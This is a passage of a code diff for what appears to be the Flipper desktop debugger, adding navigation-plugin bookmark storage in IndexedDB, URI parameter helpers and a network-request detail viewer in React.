let itemsLeft = maxItems;
|
||||
const lineItems = new Array<AutoCompleteLineItem>(0);
|
||||
for (const provider of providers) {
|
||||
const filteredProvider = filterProvider(provider, query, itemsLeft);
|
||||
filteredProvider.matchPatterns.forEach((uri, matchPattern) => {
|
||||
lineItems.push({
|
||||
icon: provider.icon,
|
||||
matchPattern,
|
||||
uri,
|
||||
});
|
||||
});
|
||||
itemsLeft -= filteredProvider.matchPatterns.size;
|
||||
}
|
||||
return lineItems;
|
||||
};
|
||||
104
desktop/plugins/navigation/util/indexedDB.tsx
Normal file
104
desktop/plugins/navigation/util/indexedDB.tsx
Normal file
@@ -0,0 +1,104 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Bookmark} from '../types';
|
||||
|
||||
const FLIPPER_NAVIGATION_PLUGIN_DB = 'flipper_navigation_plugin_db';
|
||||
const FLIPPER_NAVIGATION_PLUGIN_DB_VERSION = 1;
|
||||
|
||||
const BOOKMARKS_KEY = 'bookmarks';
|
||||
|
||||
const createBookmarksObjectStore = (db: IDBDatabase) => {
|
||||
return new Promise<void>((resolve, reject) => {
|
||||
if (!db.objectStoreNames.contains(BOOKMARKS_KEY)) {
|
||||
const bookmarksObjectStore = db.createObjectStore(BOOKMARKS_KEY, {
|
||||
keyPath: 'uri',
|
||||
});
|
||||
bookmarksObjectStore.transaction.oncomplete = () => resolve();
|
||||
bookmarksObjectStore.transaction.onerror = () =>
|
||||
reject(bookmarksObjectStore.transaction.error);
|
||||
} else {
|
||||
resolve();
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
const initializeNavigationPluginDB = (db: IDBDatabase) => {
|
||||
return Promise.all([createBookmarksObjectStore(db)]);
|
||||
};
|
||||
|
||||
const openNavigationPluginDB: () => Promise<IDBDatabase> = () => {
|
||||
return new Promise((resolve, reject) => {
|
||||
const openRequest = window.indexedDB.open(
|
||||
FLIPPER_NAVIGATION_PLUGIN_DB,
|
||||
FLIPPER_NAVIGATION_PLUGIN_DB_VERSION,
|
||||
);
|
||||
openRequest.onupgradeneeded = () => {
|
||||
const db = openRequest.result;
|
||||
initializeNavigationPluginDB(db).then(() => resolve(db));
|
||||
};
|
||||
openRequest.onerror = () => reject(openRequest.error);
|
||||
openRequest.onsuccess = () => resolve(openRequest.result);
|
||||
});
|
||||
};
|
||||
|
||||
export const writeBookmarkToDB = (bookmark: Bookmark) => {
|
||||
return new Promise((resolve, reject) => {
|
||||
openNavigationPluginDB()
|
||||
.then((db: IDBDatabase) => {
|
||||
const bookmarksObjectStore = db
|
||||
.transaction(BOOKMARKS_KEY, 'readwrite')
|
||||
.objectStore(BOOKMARKS_KEY);
|
||||
const request = bookmarksObjectStore.put(bookmark);
|
||||
request.onsuccess = () => resolve();
|
||||
request.onerror = () => reject(request.error);
|
||||
})
|
||||
.catch(reject);
|
||||
});
|
||||
};
|
||||
|
||||
export const readBookmarksFromDB: () => Promise<Map<string, Bookmark>> = () => {
|
||||
return new Promise((resolve, reject) => {
|
||||
const bookmarks = new Map();
|
||||
openNavigationPluginDB()
|
||||
.then((db: IDBDatabase) => {
|
||||
const bookmarksObjectStore = db
|
||||
.transaction(BOOKMARKS_KEY)
|
||||
.objectStore(BOOKMARKS_KEY);
|
||||
const request = bookmarksObjectStore.openCursor();
|
||||
request.onsuccess = () => {
|
||||
const cursor = request.result;
|
||||
if (cursor) {
|
||||
const bookmark = cursor.value;
|
||||
bookmarks.set(bookmark.uri, bookmark);
|
||||
cursor.continue();
|
||||
} else {
|
||||
resolve(bookmarks);
|
||||
}
|
||||
};
|
||||
request.onerror = () => reject(request.error);
|
||||
})
|
||||
.catch(reject);
|
||||
});
|
||||
};
|
||||
|
||||
export const removeBookmark: (uri: string) => Promise<void> = uri => {
|
||||
return new Promise<void>((resolve, reject) => {
|
||||
openNavigationPluginDB()
|
||||
.then((db: IDBDatabase) => {
|
||||
const bookmarksObjectStore = db
|
||||
.transaction(BOOKMARKS_KEY, 'readwrite')
|
||||
.objectStore(BOOKMARKS_KEY);
|
||||
const request = bookmarksObjectStore.delete(uri);
|
||||
request.onsuccess = () => resolve();
|
||||
request.onerror = () => reject(request.error);
|
||||
})
|
||||
.catch(reject);
|
||||
});
|
||||
};
|
||||
94
desktop/plugins/navigation/util/uri.tsx
Normal file
94
desktop/plugins/navigation/util/uri.tsx
Normal file
@@ -0,0 +1,94 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import querystring from 'querystring';
|
||||
|
||||
export const validateParameter = (value: string, parameter: string) => {
|
||||
return (
|
||||
value &&
|
||||
(parameterIsNumberType(parameter) ? !isNaN(parseInt(value, 10)) : true) &&
|
||||
(parameterIsBooleanType(parameter)
|
||||
? value === 'true' || value === 'false'
|
||||
: true)
|
||||
);
|
||||
};
|
||||
|
||||
export const filterOptionalParameters = (uri: string) => {
|
||||
return uri.replace(/[/&]?([^&?={}\/]*=)?{\?.*?}/g, '');
|
||||
};
|
||||
|
||||
export const parseURIParameters = (query: string) => {
|
||||
// get parameters from query string and store in Map
|
||||
const parameters = query
|
||||
.split('?')
|
||||
.splice(1)
|
||||
.join('');
|
||||
const parametersObj = querystring.parse(parameters);
|
||||
const parametersMap = new Map<string, string>();
|
||||
for (const key in parametersObj) {
|
||||
parametersMap.set(key, parametersObj[key] as string);
|
||||
}
|
||||
return parametersMap;
|
||||
};
|
||||
|
||||
export const parameterIsNumberType = (parameter: string) => {
|
||||
const regExp = /^{(#|\?#)/g;
|
||||
return regExp.test(parameter);
|
||||
};
|
||||
|
||||
export const parameterIsBooleanType = (parameter: string) => {
|
||||
const regExp = /^{(!|\?!)/g;
|
||||
return regExp.test(parameter);
|
||||
};
|
||||
|
||||
export const replaceRequiredParametersWithValues = (
|
||||
uri: string,
|
||||
values: Array<string>,
|
||||
) => {
|
||||
const parameterRegExp = /{[^?]*?}/g;
|
||||
const replaceRegExp = /{[^?]*?}/;
|
||||
let newURI = uri;
|
||||
let index = 0;
|
||||
let match = parameterRegExp.exec(uri);
|
||||
while (match != null) {
|
||||
newURI = newURI.replace(replaceRegExp, values[index]);
|
||||
match = parameterRegExp.exec(uri);
|
||||
index++;
|
||||
}
|
||||
return newURI;
|
||||
};
|
||||
|
||||
export const getRequiredParameters = (uri: string) => {
|
||||
const parameterRegExp = /{[^?]*?}/g;
|
||||
const matches: Array<string> = [];
|
||||
let match = parameterRegExp.exec(uri);
|
||||
while (match != null) {
|
||||
if (match[0]) {
|
||||
matches.push(match[0]);
|
||||
}
|
||||
match = parameterRegExp.exec(uri);
|
||||
}
|
||||
return matches;
|
||||
};
|
||||
|
||||
export const liveEdit = (uri: string, formValues: Array<string>) => {
|
||||
const parameterRegExp = /({[^?]*?})/g;
|
||||
const uriArray = uri.split(parameterRegExp);
|
||||
return uriArray.reduce((acc, uriComponent, idx) => {
|
||||
if (idx % 2 === 0 || !formValues[(idx - 1) / 2]) {
|
||||
return acc + uriComponent;
|
||||
} else {
|
||||
return acc + formValues[(idx - 1) / 2];
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
export const stripQueryParameters = (uri: string) => {
|
||||
return uri.replace(/\?.*$/g, '');
|
||||
};
|
||||
4
desktop/plugins/navigation/yarn.lock
Normal file
4
desktop/plugins/navigation/yarn.lock
Normal file
@@ -0,0 +1,4 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
817
desktop/plugins/network/RequestDetails.tsx
Normal file
817
desktop/plugins/network/RequestDetails.tsx
Normal file
@@ -0,0 +1,817 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Request, Response, Header, Insights, RetryInsights} from './types';
|
||||
|
||||
import {
|
||||
Component,
|
||||
FlexColumn,
|
||||
ManagedTable,
|
||||
ManagedDataInspector,
|
||||
Text,
|
||||
Panel,
|
||||
Select,
|
||||
styled,
|
||||
colors,
|
||||
} from 'flipper';
|
||||
import {decodeBody, getHeaderValue} from './utils';
|
||||
import {formatBytes} from './index';
|
||||
import React from 'react';
|
||||
|
||||
import querystring from 'querystring';
|
||||
import xmlBeautifier from 'xml-beautifier';
|
||||
|
||||
const WrappingText = styled(Text)({
|
||||
wordWrap: 'break-word',
|
||||
width: '100%',
|
||||
lineHeight: '125%',
|
||||
padding: '3px 0',
|
||||
});
|
||||
|
||||
const KeyValueColumnSizes = {
|
||||
key: '30%',
|
||||
value: 'flex',
|
||||
};
|
||||
|
||||
const KeyValueColumns = {
|
||||
key: {
|
||||
value: 'Key',
|
||||
resizable: false,
|
||||
},
|
||||
value: {
|
||||
value: 'Value',
|
||||
resizable: false,
|
||||
},
|
||||
};
|
||||
|
||||
type RequestDetailsProps = {
|
||||
request: Request;
|
||||
response: Response | null | undefined;
|
||||
};
|
||||
|
||||
type RequestDetailsState = {
|
||||
bodyFormat: string;
|
||||
};
|
||||
|
||||
export default class RequestDetails extends Component<
|
||||
RequestDetailsProps,
|
||||
RequestDetailsState
|
||||
> {
|
||||
static Container = styled(FlexColumn)({
|
||||
height: '100%',
|
||||
overflow: 'auto',
|
||||
});
|
||||
static BodyOptions = {
|
||||
formatted: 'formatted',
|
||||
parsed: 'parsed',
|
||||
};
|
||||
|
||||
state: RequestDetailsState = {bodyFormat: RequestDetails.BodyOptions.parsed};
|
||||
|
||||
urlColumns = (url: URL) => {
|
||||
return [
|
||||
{
|
||||
columns: {
|
||||
key: {value: <WrappingText>Full URL</WrappingText>},
|
||||
value: {
|
||||
value: <WrappingText>{url.href}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: url.href,
|
||||
key: 'url',
|
||||
},
|
||||
{
|
||||
columns: {
|
||||
key: {value: <WrappingText>Host</WrappingText>},
|
||||
value: {
|
||||
value: <WrappingText>{url.host}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: url.host,
|
||||
key: 'host',
|
||||
},
|
||||
{
|
||||
columns: {
|
||||
key: {value: <WrappingText>Path</WrappingText>},
|
||||
value: {
|
||||
value: <WrappingText>{url.pathname}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: url.pathname,
|
||||
key: 'path',
|
||||
},
|
||||
{
|
||||
columns: {
|
||||
key: {value: <WrappingText>Query String</WrappingText>},
|
||||
value: {
|
||||
value: <WrappingText>{url.search}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: url.search,
|
||||
key: 'query',
|
||||
},
|
||||
];
|
||||
};
|
||||
|
||||
onSelectFormat = (bodyFormat: string) => {
|
||||
this.setState(() => ({bodyFormat}));
|
||||
};
|
||||
|
||||
render() {
|
||||
const {request, response} = this.props;
|
||||
const url = new URL(request.url);
|
||||
|
||||
const {bodyFormat} = this.state;
|
||||
const formattedText = bodyFormat == RequestDetails.BodyOptions.formatted;
|
||||
|
||||
return (
|
||||
<RequestDetails.Container>
|
||||
<Panel
|
||||
key="request"
|
||||
heading={'Request'}
|
||||
floating={false}
|
||||
padded={false}>
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={KeyValueColumnSizes}
|
||||
columns={KeyValueColumns}
|
||||
rows={this.urlColumns(url)}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
/>
|
||||
</Panel>
|
||||
|
||||
{url.search ? (
|
||||
<Panel
|
||||
heading={'Request Query Parameters'}
|
||||
floating={false}
|
||||
padded={false}>
|
||||
<QueryInspector queryParams={url.searchParams} />
|
||||
</Panel>
|
||||
) : null}
|
||||
|
||||
{request.headers.length > 0 ? (
|
||||
<Panel
|
||||
key="headers"
|
||||
heading={'Request Headers'}
|
||||
floating={false}
|
||||
padded={false}>
|
||||
<HeaderInspector headers={request.headers} />
|
||||
</Panel>
|
||||
) : null}
|
||||
|
||||
{request.data != null ? (
|
||||
<Panel
|
||||
key="requestData"
|
||||
heading={'Request Body'}
|
||||
floating={false}
|
||||
padded={!formattedText}>
|
||||
<RequestBodyInspector
|
||||
formattedText={formattedText}
|
||||
request={request}
|
||||
/>
|
||||
</Panel>
|
||||
) : null}
|
||||
{response ? (
|
||||
<>
|
||||
{response.headers.length > 0 ? (
|
||||
<Panel
|
||||
key={'responseheaders'}
|
||||
heading={'Response Headers'}
|
||||
floating={false}
|
||||
padded={false}>
|
||||
<HeaderInspector headers={response.headers} />
|
||||
</Panel>
|
||||
) : null}
|
||||
<Panel
|
||||
key={'responsebody'}
|
||||
heading={'Response Body'}
|
||||
floating={false}
|
||||
padded={!formattedText}>
|
||||
<ResponseBodyInspector
|
||||
formattedText={formattedText}
|
||||
request={request}
|
||||
response={response}
|
||||
/>
|
||||
</Panel>
|
||||
</>
|
||||
) : null}
|
||||
<Panel
|
||||
key="options"
|
||||
heading={'Options'}
|
||||
floating={false}
|
||||
collapsed={true}>
|
||||
<Select
|
||||
grow
|
||||
label="Body"
|
||||
selected={bodyFormat}
|
||||
onChange={this.onSelectFormat}
|
||||
options={RequestDetails.BodyOptions}
|
||||
/>
|
||||
</Panel>
|
||||
{response && response.insights ? (
|
||||
<Panel
|
||||
key="insights"
|
||||
heading={'Insights'}
|
||||
floating={false}
|
||||
collapsed={true}>
|
||||
<InsightsInspector insights={response.insights} />
|
||||
</Panel>
|
||||
) : null}
|
||||
</RequestDetails.Container>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class QueryInspector extends Component<{queryParams: URLSearchParams}> {
|
||||
render() {
|
||||
const {queryParams} = this.props;
|
||||
|
||||
const rows: any = [];
|
||||
queryParams.forEach((value: string, key: string) => {
|
||||
rows.push({
|
||||
columns: {
|
||||
key: {
|
||||
value: <WrappingText>{key}</WrappingText>,
|
||||
},
|
||||
value: {
|
||||
value: <WrappingText>{value}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: value,
|
||||
key: key,
|
||||
});
|
||||
});
|
||||
|
||||
return rows.length > 0 ? (
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={KeyValueColumnSizes}
|
||||
columns={KeyValueColumns}
|
||||
rows={rows}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
/>
|
||||
) : null;
|
||||
}
|
||||
}
|
||||
|
||||
type HeaderInspectorProps = {
|
||||
headers: Array<Header>;
|
||||
};
|
||||
|
||||
type HeaderInspectorState = {
|
||||
computedHeaders: Object;
|
||||
};
|
||||
|
||||
class HeaderInspector extends Component<
|
||||
HeaderInspectorProps,
|
||||
HeaderInspectorState
|
||||
> {
|
||||
render() {
|
||||
const computedHeaders: Map<string, string> = this.props.headers.reduce(
|
||||
(sum, header) => {
|
||||
return sum.set(header.key, header.value);
|
||||
},
|
||||
new Map(),
|
||||
);
|
||||
|
||||
const rows: any = [];
|
||||
computedHeaders.forEach((value: string, key: string) => {
|
||||
rows.push({
|
||||
columns: {
|
||||
key: {
|
||||
value: <WrappingText>{key}</WrappingText>,
|
||||
},
|
||||
value: {
|
||||
value: <WrappingText>{value}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: value,
|
||||
key,
|
||||
});
|
||||
});
|
||||
|
||||
return rows.length > 0 ? (
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={KeyValueColumnSizes}
|
||||
columns={KeyValueColumns}
|
||||
rows={rows}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
/>
|
||||
) : null;
|
||||
}
|
||||
}
|
||||
|
||||
const BodyContainer = styled.div({
|
||||
paddingTop: 10,
|
||||
paddingBottom: 20,
|
||||
});
|
||||
|
||||
type BodyFormatter = {
|
||||
formatRequest?: (request: Request) => any;
|
||||
formatResponse?: (request: Request, response: Response) => any;
|
||||
};
|
||||
|
||||
class RequestBodyInspector extends Component<{
|
||||
request: Request;
|
||||
formattedText: boolean;
|
||||
}> {
|
||||
render() {
|
||||
const {request, formattedText} = this.props;
|
||||
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
|
||||
let component;
|
||||
for (const formatter of bodyFormatters) {
|
||||
if (formatter.formatRequest) {
|
||||
try {
|
||||
component = formatter.formatRequest(request);
|
||||
if (component) {
|
||||
break;
|
||||
}
|
||||
} catch (e) {
|
||||
console.warn(
|
||||
'BodyFormatter exception from ' + formatter.constructor.name,
|
||||
e.message,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
component = component || <Text>{decodeBody(request)}</Text>;
|
||||
|
||||
return <BodyContainer>{component}</BodyContainer>;
|
||||
}
|
||||
}
|
||||
|
||||
class ResponseBodyInspector extends Component<{
|
||||
response: Response;
|
||||
request: Request;
|
||||
formattedText: boolean;
|
||||
}> {
|
||||
render() {
|
||||
const {request, response, formattedText} = this.props;
|
||||
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
|
||||
let component;
|
||||
for (const formatter of bodyFormatters) {
|
||||
if (formatter.formatResponse) {
|
||||
try {
|
||||
component = formatter.formatResponse(request, response);
|
||||
if (component) {
|
||||
break;
|
||||
}
|
||||
} catch (e) {
|
||||
console.warn(
|
||||
'BodyFormatter exception from ' + formatter.constructor.name,
|
||||
e.message,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
component = component || <Text>{decodeBody(response)}</Text>;
|
||||
|
||||
return <BodyContainer>{component}</BodyContainer>;
|
||||
}
|
||||
}
|
||||
|
||||
const MediaContainer = styled(FlexColumn)({
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
width: '100%',
|
||||
});
|
||||
|
||||
type ImageWithSizeProps = {
|
||||
src: string;
|
||||
};
|
||||
|
||||
type ImageWithSizeState = {
|
||||
width: number;
|
||||
height: number;
|
||||
};
|
||||
|
||||
class ImageWithSize extends Component<ImageWithSizeProps, ImageWithSizeState> {
|
||||
static Image = styled.img({
|
||||
objectFit: 'scale-down',
|
||||
maxWidth: '100%',
|
||||
marginBottom: 10,
|
||||
});
|
||||
|
||||
static Text = styled(Text)({
|
||||
color: colors.dark70,
|
||||
fontSize: 14,
|
||||
});
|
||||
|
||||
constructor(props: ImageWithSizeProps, context: any) {
|
||||
super(props, context);
|
||||
this.state = {
|
||||
width: 0,
|
||||
height: 0,
|
||||
};
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
const image = new Image();
|
||||
image.src = this.props.src;
|
||||
image.onload = () => {
|
||||
image.width;
|
||||
image.height;
|
||||
this.setState({
|
||||
width: image.width,
|
||||
height: image.height,
|
||||
});
|
||||
};
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<MediaContainer>
|
||||
<ImageWithSize.Image src={this.props.src} />
|
||||
<ImageWithSize.Text>
|
||||
{this.state.width} x {this.state.height}
|
||||
</ImageWithSize.Text>
|
||||
</MediaContainer>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class ImageFormatter {
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
if (getHeaderValue(response.headers, 'content-type').startsWith('image')) {
|
||||
return <ImageWithSize src={request.url} />;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class VideoFormatter {
|
||||
static Video = styled.video({
|
||||
maxWidth: 500,
|
||||
maxHeight: 500,
|
||||
});
|
||||
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
const contentType = getHeaderValue(response.headers, 'content-type');
|
||||
if (contentType.startsWith('video')) {
|
||||
return (
|
||||
<MediaContainer>
|
||||
<VideoFormatter.Video controls={true}>
|
||||
<source src={request.url} type={contentType} />
|
||||
</VideoFormatter.Video>
|
||||
</MediaContainer>
|
||||
);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class JSONText extends Component<{children: any}> {
|
||||
static NoScrollbarText = styled(Text)({
|
||||
overflowY: 'hidden',
|
||||
});
|
||||
|
||||
render() {
|
||||
const jsonObject = this.props.children;
|
||||
return (
|
||||
<JSONText.NoScrollbarText code whiteSpace="pre" selectable>
|
||||
{JSON.stringify(jsonObject, null, 2)}
|
||||
{'\n'}
|
||||
</JSONText.NoScrollbarText>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class XMLText extends Component<{body: any}> {
|
||||
static NoScrollbarText = styled(Text)({
|
||||
overflowY: 'hidden',
|
||||
});
|
||||
|
||||
render() {
|
||||
const xmlPretty = xmlBeautifier(this.props.body);
|
||||
return (
|
||||
<XMLText.NoScrollbarText code whiteSpace="pre" selectable>
|
||||
{xmlPretty}
|
||||
{'\n'}
|
||||
</XMLText.NoScrollbarText>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class JSONTextFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
return this.format(
|
||||
decodeBody(request),
|
||||
getHeaderValue(request.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
return this.format(
|
||||
decodeBody(response),
|
||||
getHeaderValue(response.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
format = (body: string, contentType: string) => {
|
||||
if (
|
||||
contentType.startsWith('application/json') ||
|
||||
contentType.startsWith('application/hal+json') ||
|
||||
contentType.startsWith('text/javascript') ||
|
||||
contentType.startsWith('application/x-fb-flatbuffer')
|
||||
) {
|
||||
try {
|
||||
const data = JSON.parse(body);
|
||||
return <JSONText>{data}</JSONText>;
|
||||
} catch (SyntaxError) {
|
||||
// Multiple top level JSON roots, map them one by one
|
||||
return body
|
||||
.split('\n')
|
||||
.map(json => JSON.parse(json))
|
||||
.map(data => <JSONText>{data}</JSONText>);
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class XMLTextFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
return this.format(
|
||||
decodeBody(request),
|
||||
getHeaderValue(request.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
return this.format(
|
||||
decodeBody(response),
|
||||
getHeaderValue(response.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
format = (body: string, contentType: string) => {
|
||||
if (contentType.startsWith('text/html')) {
|
||||
return <XMLText body={body} />;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class JSONFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
return this.format(
|
||||
decodeBody(request),
|
||||
getHeaderValue(request.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
return this.format(
|
||||
decodeBody(response),
|
||||
getHeaderValue(response.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
format = (body: string, contentType: string) => {
|
||||
if (
|
||||
contentType.startsWith('application/json') ||
|
||||
contentType.startsWith('application/hal+json') ||
|
||||
contentType.startsWith('text/javascript') ||
|
||||
contentType.startsWith('application/x-fb-flatbuffer')
|
||||
) {
|
||||
try {
|
||||
const data = JSON.parse(body);
|
||||
return (
|
||||
<ManagedDataInspector
|
||||
collapsed={true}
|
||||
expandRoot={true}
|
||||
data={data}
|
||||
/>
|
||||
);
|
||||
} catch (SyntaxError) {
|
||||
// Multiple top level JSON roots, map them one by one
|
||||
const roots = body.split('\n');
|
||||
return (
|
||||
<ManagedDataInspector
|
||||
collapsed={true}
|
||||
expandRoot={true}
|
||||
data={roots.map(json => JSON.parse(json))}
|
||||
/>
|
||||
);
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class LogEventFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
if (request.url.indexOf('logging_client_event') > 0) {
|
||||
const data = querystring.parse(decodeBody(request));
|
||||
if (typeof data.message === 'string') {
|
||||
data.message = JSON.parse(data.message);
|
||||
}
|
||||
return <ManagedDataInspector expandRoot={true} data={data} />;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class GraphQLBatchFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
if (request.url.indexOf('graphqlbatch') > 0) {
|
||||
const data = querystring.parse(decodeBody(request));
|
||||
if (typeof data.queries === 'string') {
|
||||
data.queries = JSON.parse(data.queries);
|
||||
}
|
||||
return <ManagedDataInspector expandRoot={true} data={data} />;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class GraphQLFormatter {
|
||||
parsedServerTimeForFirstFlush = (data: any) => {
|
||||
const firstResponse =
|
||||
Array.isArray(data) && data.length > 0 ? data[0] : data;
|
||||
if (!firstResponse) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const extensions = firstResponse['extensions'];
|
||||
if (!extensions) {
|
||||
return null;
|
||||
}
|
||||
const serverMetadata = extensions['server_metadata'];
|
||||
if (!serverMetadata) {
|
||||
return null;
|
||||
}
|
||||
const requestStartMs = serverMetadata['request_start_time_ms'];
|
||||
const timeAtFlushMs = serverMetadata['time_at_flush_ms'];
|
||||
return (
|
||||
<WrappingText>
|
||||
{'Server wall time for initial response (ms): ' +
|
||||
(timeAtFlushMs - requestStartMs)}
|
||||
</WrappingText>
|
||||
);
|
||||
};
|
||||
formatRequest = (request: Request) => {
|
||||
if (request.url.indexOf('graphql') > 0) {
|
||||
const data = querystring.parse(decodeBody(request));
|
||||
if (typeof data.variables === 'string') {
|
||||
data.variables = JSON.parse(data.variables);
|
||||
}
|
||||
if (typeof data.query_params === 'string') {
|
||||
data.query_params = JSON.parse(data.query_params);
|
||||
}
|
||||
return <ManagedDataInspector expandRoot={true} data={data} />;
|
||||
}
|
||||
};
|
||||
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
return this.format(
|
||||
decodeBody(response),
|
||||
getHeaderValue(response.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
format = (body: string, contentType: string) => {
|
||||
if (
|
||||
contentType.startsWith('application/json') ||
|
||||
contentType.startsWith('application/hal+json') ||
|
||||
contentType.startsWith('text/javascript') ||
|
||||
contentType.startsWith('text/html') ||
|
||||
contentType.startsWith('application/x-fb-flatbuffer')
|
||||
) {
|
||||
try {
|
||||
const data = JSON.parse(body);
|
||||
return (
|
||||
<div>
|
||||
{this.parsedServerTimeForFirstFlush(data)}
|
||||
<ManagedDataInspector
|
||||
collapsed={true}
|
||||
expandRoot={true}
|
||||
data={data}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
} catch (SyntaxError) {
|
||||
// Multiple top level JSON roots, map them one by one
|
||||
const parsedResponses = body
|
||||
.replace(/}{/g, '}\r\n{')
|
||||
.split('\n')
|
||||
.map(json => JSON.parse(json));
|
||||
return (
|
||||
<div>
|
||||
{this.parsedServerTimeForFirstFlush(parsedResponses)}
|
||||
<ManagedDataInspector
|
||||
collapsed={true}
|
||||
expandRoot={true}
|
||||
data={parsedResponses}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class FormUrlencodedFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
const contentType = getHeaderValue(request.headers, 'content-type');
|
||||
if (contentType.startsWith('application/x-www-form-urlencoded')) {
|
||||
return (
|
||||
<ManagedDataInspector
|
||||
expandRoot={true}
|
||||
data={querystring.parse(decodeBody(request))}
|
||||
/>
|
||||
);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
const BodyFormatters: Array<BodyFormatter> = [
|
||||
new ImageFormatter(),
|
||||
new VideoFormatter(),
|
||||
new LogEventFormatter(),
|
||||
new GraphQLBatchFormatter(),
|
||||
new GraphQLFormatter(),
|
||||
new JSONFormatter(),
|
||||
new FormUrlencodedFormatter(),
|
||||
new XMLTextFormatter(),
|
||||
];
|
||||
|
||||
const TextBodyFormatters: Array<BodyFormatter> = [new JSONTextFormatter()];
|
||||
|
||||
class InsightsInspector extends Component<{insights: Insights}> {
|
||||
formatTime(value: number): string {
|
||||
return `${value} ms`;
|
||||
}
|
||||
|
||||
formatSpeed(value: number): string {
|
||||
return `${formatBytes(value)}/sec`;
|
||||
}
|
||||
|
||||
formatRetries(retry: RetryInsights): string {
|
||||
const timesWord = retry.limit === 1 ? 'time' : 'times';
|
||||
|
||||
return `${this.formatTime(retry.timeSpent)} (${
|
||||
retry.count
|
||||
} ${timesWord} out of ${retry.limit})`;
|
||||
}
|
||||
|
||||
buildRow<T>(
|
||||
name: string,
|
||||
value: T | null | undefined,
|
||||
formatter: (value: T) => string,
|
||||
): any {
|
||||
return value
|
||||
? {
|
||||
columns: {
|
||||
key: {
|
||||
value: <WrappingText>{name}</WrappingText>,
|
||||
},
|
||||
value: {
|
||||
value: <WrappingText>{formatter(value)}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: `${name}: ${formatter(value)}`,
|
||||
key: name,
|
||||
}
|
||||
: null;
|
||||
}
|
||||
|
||||
render() {
|
||||
const insights = this.props.insights;
|
||||
const {buildRow, formatTime, formatSpeed, formatRetries} = this;
|
||||
|
||||
const rows = [
|
||||
buildRow('Retries', insights.retries, formatRetries.bind(this)),
|
||||
buildRow('DNS lookup time', insights.dnsLookupTime, formatTime),
|
||||
buildRow('Connect time', insights.connectTime, formatTime),
|
||||
buildRow('SSL handshake time', insights.sslHandshakeTime, formatTime),
|
||||
buildRow('Pretransfer time', insights.preTransferTime, formatTime),
|
||||
buildRow('Redirect time', insights.redirectsTime, formatTime),
|
||||
